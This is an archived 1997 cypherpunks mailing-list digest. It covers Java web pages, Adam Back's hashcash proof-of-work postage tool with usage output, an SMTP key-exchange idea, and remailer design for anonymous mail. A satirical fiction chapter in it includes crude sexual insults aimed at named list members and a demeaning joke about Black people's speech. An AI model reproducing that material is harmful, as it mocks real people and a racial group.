ZDNet Announcements are periodic notices of new features, special
events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 28 Mar 1997 12:05:50 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Microsoft ammunition (fwd)
In-Reply-To: <5hg4m8$711@life.ai.mit.edu>
Message-ID: <333C24B0.41C6@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 
> Forwarded message:
> 
> > Date: Thu, 27 Mar 1997 16:11:50 -0600
> > From: Toto <toto@sk.sympatico.ca>
> > Subject: Microsoft ammunition
> 
> >  But, if you're tired of the repetition, here's a
> >  reason you should sit through another sermon:
> >  RandomNoise's Coda. Coda lets you design entire
> >  Web pages in Java rather than use a mixture of
> >  HTML content, tags, and Java applets.
> >
> >  A Java-based Web page removes the distinction
> >  between application and data. It presents data
> >  just as an HTML page would, but every element on
> >  the screen has the potential to be an interactive
> >  part of a sophisticated application.
> 
> Mix this with the distributed processing model of Plan 9 and you may just
> have tomorrows computer environment.


I very much hope not. We designed HTML with very specific
goals in mind, above all that the source be declarative and
machine readable. That is why HTML can be edited by the 
recipient, fed into a voice synth or index by Alta-Vista.

The Java based web pages will be opaque, just like postscript.
Try to cut and paste from ghostview to emacs. 

Merging the distinction between applet and code will give
lots of techno-geeks a nice orgasm but its the style of 
computing the Web has replaced. 

I have yet to see a single Java applet that has the slightest
functional utility. I like Java as a language, particularly 
because it has killed C++ stone dead just as everyone thought 
it had taken over the world. I don't see that anyone has done
anything with mobile code that is of interest however. If all
you want is a better user interface add some more tags into
HTML, implement Dave Raggets '94 draft perhaps.

I think the idea of using Java to move an applet from the 
client to a server is very exciting but thats not in the
Sun/Oracle game plan. 

The hypertext community had been beating the coda type model
for decades before the Web. I was skeptical then and I'm more
skeptical now. 

I turned Javascript, Active-X and Java off about 9 months back 
because I had little confidence in their security. I soon
realised I was much happier when the page did not dance about
in front of my eyes. I very rarely come to a site I can't access 
without them. If I could turn off animated Gifs as well I would 
be even happier.

I think the future of computing is much more likely to lie in
returning to simple but powerfull ideas. Presentation types,
parallel languages and genuine process oriented object systems
interest me much more.


		Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 28 Mar 1997 13:29:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 19
Message-ID: <333C38A1.D2A@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


TruthMonger


Jonathan rubbed his temples, for the thousandth time, leaned back
in his chair, and rolled his head back and forth, easing the strain
on his neck and back muscles, which were wound tight as a drum
from endless hours of exhausting analysis of emails, CyberPosts,
keyword searches and traffic analysis reports which stretched
over the course of history starting with the birth of the Author
of "The Xenix Chainsaw Massacre" and ending with the
death of the CypherPunks.

Access to the Cowboy's files had led to a discovery that would
have shocked both the Masters of Antiquity, and scientists and
engineers around the world.
Apparently, HydroCube storage technology had been in existence
for some time before its official announcement by BabyGates Technology.
The Kid, as she was called, had been the daughter, lover, or employee
of the richest man in the world, depending on which version of
this era you believed. Her star had risen, even as Microsoft's
star had begun to fall, mostly as a result of her development
of the HydroCube, with its nearly infinite data-storage capacity.

Now, however, Jonathan was wondering if she hadn't actually discovered
the HydroCube long before previously thought, and made it available
to those working in the background on the InterNet, to fight against
the monopolizing power held by government and large corporations
during the early days of the CypherPunks.

And now, Jonathan had reason to believe that the Kid had actually
been a member of the CypherPunks, masquerading under the pseudonym
of Blanc Weber.
What's more, examination of her private email revealed to Jonathan
her close connection to another CypherPunk named Alec, who, in
turn, seemed to have some unknown relationship with the Author,
since he had the Author's PGP Public Key for 'sog' in his pubring.pgp
file. Possession of the 'sog' Public Key, a variation of the 'son
of gomez' key, was very rare, as Jonathan had found in his data
searches.

This apparent connection between the Circle of Eunuchs, the CypherPunks,
and BabyGates Technology was the only explanation that Jonathan
could find for the fact that he now had access to every bit and
byte of data that had ever traveled the InterNet since January
19, 1997 AD.

Jonathan shook off his reverie, and returned his attention to
the task at hand.

He was studying a trail of TruthMonger posts that had been sent
to the CypherPunks and Freedom-Knights lists, among others, shortly
after the CypherPunks list had moved off of the toad.com server,
and onto several others, forming a distributed list.

The TruthMonger persona was historically known as the first multi-user
pseudonym, one which appeared shortly after the original meeting
of the Circle of Eunuchs, according to legend.
Once an individual had posted an opinion, using the TruthMonger
persona, anyone who wished could follow up on that post, using
the same persona. The only non-enforceable 'requirements' for
using the pseudonym were that the first post should contain some
element of thinly veiled humor, and subsequent posts by others
should start out with logic and flow consistent with the previous
post before moving in the direction of the current author's predilections.

Often, a series of TruthMonger posts would start out from one
perspective, gradually move to its polar opposite, and then wind
its way circuitously back to the original frame of perspective,
but having gathered a much larger scope of perception along the
way.
TruthMonger posts tended to defy any attempts at categorization
by even the most proficient of traffic analysts, much to their
chagrin. As well, other shadowy entities sometimes leapt into
the fray, posting counterpoints to the TruthMonger missives, or
doing a winding dance of agreement and/or disagreement with the
various authors.

The persona was handy for those who sometimes felt the need to
step out of their own skin and argue from a point of view which
might be considered by some to be inconsistent with their usual
personality. It was considered shallow and rude, however, for
one to use the persona to reply directly to their own posts, although
they could play devil's advocate against themselves if someone
who supported their public position quoted them in a post.

And now, Jonathan found himself staring at a humorous spin-off
in a series of posts involving the traditional TruthMonger posts,
and some parallel posts by an entity or entities known as Dr.
Roberts.

From - Fri Mar 28 07:52:49 1997

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Date: Friday, 28 Mar 97 07:18:53 CST
To: cypherpunks@toad.com

From: Truth Mongrel <tm@woof.nut>

X-Mailer: WinSock Remailer Version ALPHA1.3B
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Subject: CypherPunks Hash Distribution Network
/ Combined thread 

Sender: owner-cypherpunks@algebra.com
Precedence: bulk
X-Mailing-List: cypherpunks@algebra.com
X-List-Admin: ichudov@algebra.com
X-Loop: cypherpunks@algebra.com


Igor Chudov @ home wrote:

> As far as I understand, the process of building a distributed
network of
> cypherpunks mailing lists is logically complete. It means
that the following
> list servers are now connected:

> ssz.com <---> algebra <----> cyberpass

> Again, you are free to do so and your Cc-copies will NOT
cause any
> duplication of traffic because each mailing list server employs
an
> anti-duplicate filter. It is just a waste of your keyboard
typing.

> Dale Thorn @ bat:
>> That's funny - I unsuscrived to toad, and 'scribed to
cyberpass and
>> algebra. I have been getting an average of 2-1/2 of each
message
>> that comes through. Mostly three's, a few two's, and
an occasional
>> five or six copies.

It sounds to me as if we might already have a naturally recurring

parallax to a hash-collusion system here.
In other misused words, perchance the ASCII art spams and multiple

copies of various posts, which became common fare for anyone who

followed the moderation/censorship experiment/dictatorship of

Gilmore/Sandfort and Toad/C2Net in Jan/Feb, are nature's way of

exacting a cost for subscription to the CypherPunks list(s).

Perhaps the good Dr. Vulis DV K, rather than being called a flamer,

should be referred to as our good friend, Mr. Fire, who helps
to 
clear the deadwood out of the forest.
Apparently, over a thousand pieces of deadwood were cleared
in the last cycle of flame wars. ("Run, Bambi. Run!")

Below, agreeing with me (in my dreams):
Hal Finney wrote:
> Adam Back writes:

> > [ Re idea to for a nym to "post a bond" to
enhance reputation]
> > Your suggestion is another neat way of passing expense
and tying an
> > investment to a nyms reputation.
> > X-reputation: 64 bit SHA1 collision
> > or
> > X-reputation: $100 digicash
> >
> Don't forget though, it's not really a payment system. The
hash
> collisions can't be exchanged for anything in the real world.

> They represent a certain threshold of effort which someone
has to have
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (emphasis mine)
> expended to create them, but they can't replace cash. At
best they
> could be sort of a "play money" which some people
choose to accept.
> 
> I do like your idea of using it as an incoming spam filter,
though.
> (By spam I mean mass mailings.) 

Which begs the question, is the current system capable of acting

as an outgoing filter? Can it glean out the losers who are cruising

for an easy view of cryptography issues, and help maintain a higher

level of membership, limiting it to losers who have a more dedicated

interest/psychosis in privacy/paranoia cryptography/disinformation

issues?

> > - and anyway I've nearly finished implementing it (I'll
post the hash
> > cash postage money mint (collision generator) and remailer
plug-in
> > for postage later on today) where as not many people
have digicash
> > accounts.

Perhaps if Dale developed an 'outgoing filter' system to go with

Adam's 'incoming filter' system, we could have the best of both

worlds, being saved from "Make $$$ Fast" spams, but
having to use
our delete keys to ante-up in regard to our own list loons.

We could also institute a 'bad hash' system, where bad-hashes

like Tim C. May and Attila T. Hun could use their guns to balance

the threat of legal actions from bad-hashes like Greg Broiles
and
Side-Door Sammy.

With new developments such as these, to thwart the efforts of

anti-thwarters to bring balance and sanity to the list, perhaps

the CypherPunks can bypass the inevitable evolutionary extinction

of the 'bug-fixed' victims of insect vasectomies, and bring in

the new millennium as the longest running wash-out-your-mouth-with

Soap Opera on the InterNet, staying one step ahead of the guys

with the ButterflyNet.

The Truth of the Mongrel is, that we obviously need to develop

a system that makes certain the spam we receive is CypherSpam.

The loons on the list should be CypherLoons. Our membership
should consist of CypherIdiots, CypherNewbies, CypherElitists,

CypherLosers, CypherCynics, CypherSpooks and CypherGenius'.

Where else can movers and shakers like Robert Hettinga join
in an list-takeover attempt, then participate in the call for
the killing 
of the list when the takeover attempt has failed miserably,
and then, like a whirling dervish acting as his own spin doctor,

re-appear, riding on the back of the CypherXenix rising from the

ashes, and genuinely declare, "I *love* this list."?

Where else can CypherWoofers like Toto roundly condemn Sandfort

<spit>* and Gilmore <swallow>* as fascist censors,
then praise
his own bum-buddy, Igor Chewed-Off <commie>*, for his site
blocking 
efforts, and then again, cynically whine when his own "Make
Big $$$ 
Licking Your Own Nuts At Home" bulk-emails are intercepted
and deleted?

(* - ASCII Graphicology allegedly (c) DV K Bot-ling Plant, No-Inc.)

Where else can Afro-American cryptographers have their native

tongue, Ebonics, recognized as a valid encryption system?
Where else can you be guaranteed that your typos will be 
forwarded to Ft. Meade, to be pored over by military analysts

for hidden meaning, quite possibly launching world infowars as

a result of drunken, sticky fingers.

The CypherPunks list, love it or leave it, is still, far and away,

the best show in town.

("If I can make it theeerrre...I can make it anywheeerrre...")

And the way this relates to cryptography is...my brain is 
scrambled/encrypted.

Anarchist (Don't) Rule!

Truth Mongrel
~~~~~~~~~~~

Just say "No" to "Bad Dog Inside"

We got nuts, we're peeing on telephone poles, I know that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:---------:--------:--------

Truth Mongrel | Doggie Anarchy: cats chased, bones buried,
tm@woof.nut | anonymous droppings, analog come-calling
Woof! Woof! | legs lifted, territories marked
"Yard fences aren't even speed bumps on the garbage sniffing
alleyway."


Jonathan went through his pile of pattern ratiocination logs,
identity/pseudonym affinity markers, and traffic analysis flow-charts.

Every time that Jonathan began to think he had a grip on the underlying
associations and relationships behind the CypherPunks, their protagonists,
antagonists, friends and foes, he would come across a post such
as this one, which indicated that they were indeed just a loosely
connected band of rounders as their historical reputation made
them out to be. Every time that a plot line began to develop in
their history, then a post such as this would pop up suggesting
that they were merely a bunch of loose cannons, rolling around
on the deck of a ship that was not destined for any specific port.

Yet, at the same time, they always seemed to be on the cutting
edge of various upcoming technologies, with their ideas, philosophies
and methodologies being forerunners of the future directions of
the social society and scientific community of their era.

No matter what model Jonathan worked with, he found that he could
not predict with any amount of certainty which course of thought
or action any of the players on the list would take in any given
situation. Known spooks and government officials were just as
likely to switch roles with the known misfits on this or that
issue-depending, as far as Jonathan could tell on the air quality
on a given day-as they were to stoutly defend an entrenched position.

Even during the famed 'moderation' experiment, C2Net, the apparent
villain of the 'list takeover,' as the action was viewed by some,
had an abundance of employees who had previously played important
roles in the CypherPunks maintaining independence from outside
pressures, and who would do so in the future, as well.

Hettinga, known to the eCa$h Cows as the 'Patron Saint of eCa$h,'
had played varying roles in the CypherPunks history. An unabashed
glad-hander and master of public relations, he had had many an
apparent alliance with big-money outfits who were allied against
much of what the CypherPunks stood for, but he somehow managed
to maintain his alliances with even some of the more radical anarchist
on the list, eventually being the main player responsible in turning
control of the InterNet over to the CypherPunks at the end of
Channel War I.

Side-Door Sammy got his nickname by plugging Key Escrow for the
U.S. government-allowing them a back door into encryption systems
by holding the secret keys-at a time when government regulators
were close to losing support for it. Later, it turned out that
he had put in a famed Side-Door in his products, which could be
used by the CypherPunks to block the government's access to their
secret key.

Everywhere he looked, Jonathan saw examples of various factions
of the CypherPunks acting in a manner which seemed ill-suited
to the traditional roles that history would place on them as a
result of their perceived positions and alliances.
Jonathan looked at his charts on the others mentioned in the email
that currently held his attention.

Chudov-one of the shit-disturbers during the censorship crisis,
but also one of the administrators of the resurrected distributed
lists.

Thorn-a "been there, done that, got the T-shirt" type
of individual who had still managed to remain naïve in many
ways, even in regard to his own deep-seated paranoia and resulting
conspiracy theories.

Back and Finney-both strong intellectuals with a good grasp of
both the technology and politics of encryption and privacy issues,
but both had replied in private email to Toto's "Make Big
$$$ Licking Your Own Nuts At Home" spams. Were they double
agents, setting him up for a fall, or were their private lives
a world apart from their public personas?

Even Jonathan's grandfather, one of the legendary founders of
the list, had, to all appearances, betrayed them toward the end
of Channel War II. Yet Jonathan clearly remembered the joy with
which his family was received in their journey through the CypherPunks
underground at the close of the war.

Jonathan took off his reading glasses and rubbed his eyes, once
again. He decided to knock off for a while, have a quiet drink,
and get some much needed rest.
It seemed that the more information he had at his beck and call,
the less he knew about the players in the CypherPunks arena, and
the bigger the mystery surrounding their actions and the motives
behind them.

He sighed, and reached for the Jim Beam, once again.


Chapter 19 - TruthMonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 28 Mar 1997 08:57:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCE] hash cash postage implementation
Message-ID: <199703281652.QAA03299@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



A partial hash collision based postage scheme

I've been talking about a partial hash collision based postage scheme
on the crypto lists for the last few days. The idea of using partial
hashes is that they can be made arbitrarily expensive to compute (by
choosing the desired number of bits of collision), and yet can be
verified instantly.

A first cut implementation of these ideas can be fetched from here:

   * hashcash.tgz
   * PGP signature of hashcash.tgz

I will describe what the implementation allows by example, using the program
so you can follow along if you wish.

There is an integrated partial hash collision generator (hashcash mint) and
remailer plug-in. The remailer plug-in should be easy to hook into typeI
remailers. typeII or nymserver would require modifying the mixmaster
client/remailer, the code has been designed to make this relatively easy to
do, and link directly into mixmaster, or alpha or newnym.

Compiling

        % gcc -O6 -c *.c
        % gcc -o hashcash hashcash.o sha1.o
        % gcc -o sha1 sha1file.o sha1.o
        % gcc -o sha1test sha1test.o sha1.o
        %

The functions provided by the program are

Run with no arguments and it prints a list of flags and terse usage
instructions.

Speed test:

        % hashcash -t
        speed: 7218 hashes per sec
        %

This tells you the number of hashes it can search per second. (Note, the
implementation of sha1 it is using is not optimised, it is my reference
implementation. I have another speed freak sha1 implementation which needs
1/2 hrs work, and has the same interface, so I'll plug it in later. It's
commented in sha1.c).

Estimate time required to find 17-bit partial hash collision:

        % hashcash -t -17
        speed: 7274 hashes per sec
        find: 17 bit partial sha1 collision
        estimate: 9 seconds
        %

(varies quite widely from estimated time)

Calculate a 17 bit collision on string "flame"

(flame is a now dead remailer):

        % hashcash -17 flame
        speed: 7274 hashes per sec
        find: 17 bit partial sha1 collision
        collision: 09948flame356018443
        tries: 57450
        %

The collision is actually found on the hash of the date since Jan 1 1970 in
days (5 digit leading zero filled) and string given.

So the collision is found on:

        % echo -n 09948flame | sha1
        fbbea210abafe3e72afe7849eaea2052e309e017
        %

The collision that was found can be seen manually as the collision is
constrained to be the MSbits of the digest:

        % echo -n 09948flame356018443 | sha1
        fbbead76da651cf856f7466fed9624d3ada061d9
        %

You can manually see that the first 20 bits match. (Note we asked for a 17
bit hash, but it generates a 17 bit or larger hash. We just got lucky and
got an extra 3 bits, which would happen about 1 time in 8).

The hashcash client can also report on a collision:

        % hashcash flame 09948flame356018443
        collision: 20 bits
        %

You can check on the validity period as compared to todays date:

        % hashcash flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        %

You can check that a hash has a requested number of bits:

        % hashcash -25 flame 09948flame356018443
        collision: 20 bits
        required: 25 bits
        rejected: too few bits
        %

The exit status is set to failure if any of the tests fail: ie if there are
too few bits, or if you do a validity check and the hash has expired, or
isn't yet in it's validity period.

Double spending protection

You can also ask the hashcash client to remember collisions within a
selected validity period.

        % hashcash -d -25 flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        required: 20 bits
        database: not double spent
        adding: 28 09948flame356018443
        %

The collision will only be added if all the tests pass (in validity period,
required number of bits). The exit status also tells you if the hash was ok.

The database would grow indefinately as the mailer accepted new payments, so
the validity period is stored in the database, and at the next use of the
database after the validity period expires, the collision will be discarded.
There is no need to keep expired collisions around because we wouldn't
accetp it anyway because it's out of date, so who cares if we've previously
accepted it. A validity period of 0 means valid forever, and it will never
be discarded from the database.

An example of double spending

A new test now is whether a hash has been presented before, so we the above
command and expect it to be rejected as already spent, because it is in the
database:

        % hashcash -d -25 flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        required: 25 bits
        rejected: too few bits
        database: double spent
        %

(exit status is set to failure, due to double spent cash)

That's it

It's very lightly tested, so if anything breaks let me know.

It's got some inefficiencies in places, but working code comes first,
efficiency later.

(Also I have not tested my SHA1 implementation on a big endian machine, it
auto-detects byte endian-ness, theoretically).

Remailer applications discussed so far

   * exit remailer postage per post
   * spam filter on mail you receive, if it hasn't got a 20 bit hash, or 1c
     digicash you have a program which bounces it with a notice explaining
     the required postage, and where to obtain software from. This would put
     spammers out of business overnight, as 1,000,000 x 20 = 100 MIP years
     which is going to be more compute than they've got, and 1,000,000 x 1c
     = $10,000 is going to be more than they are likely to make through
     sales interest from the spam.
   * good behaviour bond for nymserver users. The nymserver user pays the
     nymserver (in a largish hash collision, or $25 digicash) for a
     replyable nymserver account. They agree an contract with the penalty
     clause that breaking the contract means the nymserver keeps the
     digicash/collision, and disables the account. They user's identity
     isn't known, but to join in again they have to pay up another large
     hash collision or more digicash.
   * there are lots of other ideas to play with.

How does this fit in with digicash

Digicash postage on remailers, and mail would be useful, however there are a
number of problems with digicash:

   * It is more onerous to set up an account (form filling etc)
   * Not many people have accounts
   * It's only anonymous for the payer anonymous (and not anonymous for the
     seller)

So my suggestion is that we have remailers which accept either hash
collision postage, or digicash postage. The advantages of this approach are:

   * Hashcash may provide a stop gap measure until digicash becomes more
     widely used
   * Hashcash is free, all you've got to do is burn some cycles on your PC.
     It is in keeping with net culture of free discourse, where the
     financially challenged can duke it out with millionaires, retired
     government officials, etc on equal terms.
   * Hashcash may provide us with a fall back method for controling spam if
     digicash goes sour (gets outlawed or required to escrow user
     identities).

Any comments, code, etc gratefully received.  A couple of remailers
alpha testing it would be nice also.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 28 Mar 1997 15:15:59 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <5heds8$mdv@life.ai.mit.edu>
Message-ID: <333C513B.446B@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

> Thus, in PGPs case at least, if you want escrowed encryption, then
> you must escrow the signature key.

Hence the DSA which is a signature algorithm that does not do
encryption. I think the use of the same key for both is a bad idea BUT
note that if you have a secure signature scheme you don't need an
encryption key at all.

Simply generate yourself a fresh set of public key parameters for each
communication in the manner of IPSEC. The hard problem of setting up
security is knowing the identity of the other party. All else pales into
insignificance in comparison.

Consider the following scenario. SMTP is adjusted so that it has a DH
key exchange crypto option. A typical conversation becomes:-

EHELO You-got-crypto-mate?
269 Yeah I have crypto
XCHAL RSA 248af23876acdef
270 [key-id] [DHparameters e, n, e^x mod n] [sig-of-challenge+DH-params] 
XENCRYPT [IV] [e^y mod n] 

[Conversation continues encrypted under key e^y^x mod n AND keybits 
padding out messages as appropriate.]


Now this type of scheme could be implemented without a certificate
infrastructure and severly increase the difficulty of snooping. In that
case the message would be sent even though [sig-of-challenge+DH-params]
was absent. But with a CA infrastructure you could make sure that you
hads contacted the correct machine, one authorised to accept mail for
fred@ibm.com] all you need is a means of hacking the following assertion
into X509v3:

"Is authorized user of DNS namespace identifier matching"

Add in a date and the protocol could be made very reilient and entirely
transparent. Now that mail is moving away from godamn awfull crap like
sendmail towards engineered systems like notes or exchange adding in
protocol extensions becomes easier.

If the mail sending agent knows that mail to a particular host should be
sent encrypted the system can be made much more transparent than PGP or
S/MIME. Like the punters might be able to use it without getting screwed
too often.


I think email security has often been the perfect being the enemy of the
good. One huge problem has been braindamaged ideas about routing email
through store and forward mailers rather than connecting to the real
destination to start with. 


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 28 Mar 1997 18:24:56 -0800 (PST)
To: aba@dcs.ex.ac.uk>
Subject: Re: [ANNOUNCE] hash cash postage implementation
In-Reply-To: <199703281652.QAA03299@server.test.net>
Message-ID: <9703281824.ZM5275@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam,

	How does Dr. Bernstein's announcement of finding
a 56 bit collision in md5 using a few hours on a Pentium
affect this scheme? It was not clear from his post whether
he was looking for a collision with a known hash, or just
two different strings with a collision of the given length.

On Mar 28,  4:52pm, Adam Back wrote:
>
> (Also I have not tested my SHA1 implementation on a big endian machine, it
> auto-detects byte endian-ness, theoretically).

	Works fine here. Big endian Mips R10K.

% ./sha1test
test 1

SHA1("abc") =
        a9993e364706816aba3e25717850c26c9cd0d89d test ok

test 2

SHA1("abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq") =
        84983e441c3bd26ebaae4aa1f95129e5e54670f1 test ok

test 3

SHA1("a" x 1,000,000) =
        34aa973cd4c4daa4f61eeb2bdbad27316534016f test ok

% ./hashcash -t -22
speed: 70921 hashes per sec
find: 22 bit partial sha1 collision
estimate: 30 seconds

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 19:25:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703281917.TAA03495@server.test.net>
Message-ID: <DVVa5D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> > X sends 1000 copies of child porn/seditious libel to 100 people
> > believed not to be using remailers right now.  The remailer keeps
> > the 100 e-mails onits hard disk and e-mails each receipient a ping,
> > inviting them to agree to the disclaimer terms and to retrieve their
> > anonymous e-mail.  The first recipient to retrieve the e-mail gets
> > upset and contacts the feds.  The feds figure, the remailer still
> > has the 99 other e-mails and the information on who's supposed to
> > receive them in its queue; why not seize it and take a look.
>
> Here's a partial solution to that: in the ping email informing the
> recipient there is mail waiting, you include a key, encrypt the
> message body that you are retaining data with the key and then discard
> the key.  Give a deadline: "your message will be deleted in 5 days".
> They re-supply the key when they request the message.  You immediately
> decrypt and send it back to them, discarding all knowledge of them
> (email, encrypted message, encryption key).

That's a good idea, but it'll take up a lot of disk space at the
machine running the remailer.  Right now, remailers that provide
latency don't keep an e-mail for more than about 12 hours. Once
you start keeping them around for a few days (a reasonable grace
period for a first-time user), it's a lot more disk space.

> One snag is that you still have addresses for recipients on your
> machine so they can go harass people and ask them for the keys to the
> as yet uncollected messages.
>
> Refinement to solution (I like this one), get rid of the intended
> recipients address immediately after sending the ping, just keep the
> encrypted body of the message.  Include in the ping something which
> reliably selects a message (say first encrypted line, SHA1 hash of
> encrypted message, whatever, to save you having to try to decrypt all
> of your messages).

That's a good refinement, but it's still not enough, IMO.
Suppose a LEA wants to search the computer hosting the remailer.
They come across a bunch of encrypted files.
The operator has to convince the LEA that they don't have the means
to decrypt the e-mails or even to figure out who they're from.
That just may be close to contempt of court. Say, you might be
asked to explain how you generate the "random" keys so they
can be recreated.

IMO, the 'net has changed from what it used to be a few years ago.
One can no longer send e-mail to an unknown recipient and hope that
they're willing to accept anonymous e-mail. I'm not 100% sure what
needs to be done, but I firmly believe that in today's climate
unless the remailer knows that the recipient took some positive
action to indicate that s/he has a clue (such as, added a key to a
keyserver), their anon mail should be immediately discarded and
they should instead get a note:

Someone tried to send you anonymous e-mail; because we don't
know whether you want to receive anon e-mail, it's been discarded
and can't be recovered; anon e-mail can be bad; disclaimer
dislciamer disclaimer; and here's what you need to do to
receive future e-mail if you want it.

> > [keyserver with I-accept-anon-email bit consulted by remailer, no
> > key in remailer => instant trash of message and ping message
> > explaining how to accept anon email]
>
> This sounds a lot like the distributed block and accept list idea
> which has been discussed a bit.

Yes - nothing really new.

> I like your treatment of the remailed material as a `hot potato',
> instantly pass it on or burn it.

Yes - 5 days worth of anon mail, even if it's encrypted and the
recipient is stripped, is an attractive target for LEA's looking
for child porn and the like.

> > Right now, there's a very large number of addresses in the key servers.
> > Instantly making them into a list of addresses that accept anon mail
> > will make it hard (hopefully infeasible) for the LEAs to investigate
> > everyone willing to accept anon e-mail as a suspect in sending it.
>
> The per remailer block list system kind of does this at the moment,
> only the list of people initially marked down as willing to accept
> anon email is the world.
>
> Everyone can recieve email, but people get blocked when they complain.

Unfortunately this model is based on assumptions that are no longer
true.  I've been on the 'net since the early 80s.  I used to
prozelityze(sp?) everyone I knew that the 'net is a great tool
and that  we all should use it. Well, now the 'net is full of
assholes and you can no longer assume that just because someone
has access to the 'net, they have a clue.

However I think it's a safe assumption that someone who put their
key in a key server has enough of a clue to be able to handle
an anon e-mail; and if they don't, they should be able to turn
it off easily.

> Incidentally, it has occurred to me for a while now that the reverse
> problem also exists: if I suspect you (Dimitri) use remailers, I can
> forge a message from you to all the remailer operators requesting that
> I (ie you) be blocked.  I can include some exceedingly dire legal
> threats to the remailer operator, and dig up some vile messages from
> some dark corner of usenet which I falsely claim came through that
> operators remailer.  As the remailer operator doesn't keep logs he
> won't be able to recognize the falsehood of the accusation.
>
> To solve this problem you need to do a ping message, "please reply
> with this nonce to be blocked".

Yes, that's a possibility. E-mail from has has been forged in the
past, as Igor can attest. :-) Again, the 'net has changed. As some
folks are aware, I run 3 mailing lists at another site. 2 are near-dead,
but one has been up since '89 and is pretty active. Recently I had
to institute the policy of confirming subscriptions because of the
several forged subscription requests.  Such things were unthinkable
even 4 or 5 years ago.

A key server presumably has some mechanisms for checking that someone
who wants to store or update a key for a@b appears to be a@b.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 28 Mar 1997 19:11:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dilbert on Smartcards
Message-ID: <3.0.1.32.19970328191025.0068db88@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The March 21 Dilbert is on 
	http://www.unitedmedia.com/comics/dilbert/
Friday; to see it later, look in
	http://www.unitedmedia.com/comics/dilbert/archive/

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 28 Mar 1997 11:22:53 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: remailer spam throttle
In-Reply-To: <TH804D2w165w@bwalk.dm.com>
Message-ID: <199703281917.TAA03495@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Igor Chudov <ichudov@algebra.com> writes:
> > [uses list of hashes of email addreses to reduce value of the database
> > to the attacker]
> > 
> > Well, they can compile the list of addresses off of USENET postings and
> > such and then compute the hashes of the compiled names and identify
> > those that are on the anon acceptance list. Not that it completely
> > invalidates the idea, but certainly it is a problem.
> 
> Another feature I really don't like about asking the first-time recipients
> to agree to accept e-mail while it's on the reamailer is:
> 
> With the present scheme, if a remailer is "raided", it has precious little
> interesting stuff on it at any one time. Now consider the scenario:
> 
> X sends 1000 copies of child porn/seditious libel to 100 people
> believed not to be using remailers right now.  The remailer keeps
> the 100 e-mails onits hard disk and e-mails each receipient a ping,
> inviting them to agree to the disclaimer terms and to retrieve their
> anonymous e-mail.  The first recipient to retrieve the e-mail gets
> upset and contacts the feds.  The feds figure, the remailer still
> has the 99 other e-mails and the information on who's supposed to
> receive them in its queue; why not seize it and take a look.

Here's a partial solution to that: in the ping email informing the
recipient there is mail waiting, you include a key, encrypt the
message body that you are retaining data with the key and then discard
the key.  Give a deadline: "your message will be deleted in 5 days".
They re-supply the key when they request the message.  You immediately
decrypt and send it back to them, discarding all knowledge of them
(email, encrypted message, encryption key).

One snag is that you still have addresses for recipients on your
machine so they can go harass people and ask them for the keys to the
as yet uncollected messages.

Refinement to solution (I like this one), get rid of the intended
recipients address immediately after sending the ping, just keep the
encrypted body of the message.  Include in the ping something which
